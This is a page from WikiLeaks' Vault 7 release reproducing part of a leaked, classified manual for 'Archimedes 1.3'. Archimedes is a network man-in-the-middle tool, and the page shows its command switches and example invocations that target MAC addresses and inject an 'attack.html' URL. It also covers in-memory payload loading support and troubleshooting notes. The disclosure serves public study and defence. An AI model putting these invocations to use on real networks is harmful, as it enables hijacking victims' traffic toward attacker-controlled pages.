Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

SECRET//NOFORN
-w [HOST_WHITELIST Optional, Default: (empty)]
-a [IP ADDRESS to use if multiple addresses exist on local adapter]
Example:
1) f32.exe -t 00:0C:29:BD:34:45 -g 00:0c:29:61:d0:d7 -m SO
2) f32.exe -t 00:0C:29:BD:34:45 -g00:0c:29:61:d0:d7 -u http://10.0.0.11/attack.html
-v FALSE -m HI -w www.mytest.com,mytest.com,www.yahoo.com –a 192.168.10.123
(S//NF) Spaces between the switch and the argument are optional. Please see the
APPLICATION DEFAULTS” section below for information on the default values of
each configuration value. Note that the injected URL value is required, except for
SURVEY_ONLY (SO) mode.
(U) SPECIFYING THE ADDRESS AS A CONFIGURATION ITEM
(S//NF) The following configuration item has been added to Archimedes 1.3 and is in addition
to the item described in the Archimedes 1.2 documenation:
OLD NAME NEW NAME DESCRIPTION
N/A IP IP address to use if multiple addresses
exist on a local network adapter
(optional).
(C) IN MEMORY CODE EXECUTION (ICE) SUPPORT
(S//NF) Archimedes 1.3 has been updated to support both ICEv2 and ICEv3 fire-and-forget
loading. The XML files associated with ICEv3 loading are included in the tool’s “bin” directory.
The ICE capable loader may require that the matching XML file is provided in order to
load/execute ICEv3 modules.
(U) APPLICATION DEFAULTS
(S//NF) The default value for the new “IP” option (“-a” on the command line) is empty. This
does not change the default behavior of Archimedes 1.2.
(U) TROUBLESHOOTING
(S//NF) Archimedes versions prior to 1.3 will fail silently on targets with multiple addresses or
multiple gateways assigned to a single network adapter. Version 1.3 adds the ability to auto-
detect the appropriate gateway (via ARP) and allows the user to specify the local IP address
that should be used.
(S//NF) Version 1.2 requires that the new names (as described in the “Renamed
Configuration Items” section are used in the configuration file and for the
5
SECRET//NOFORN

e-Highlighter

Click to send permalink to address bar, or right-click to copy permalink.

Un-highlight all Un-highlight selectionu Highlight selectionh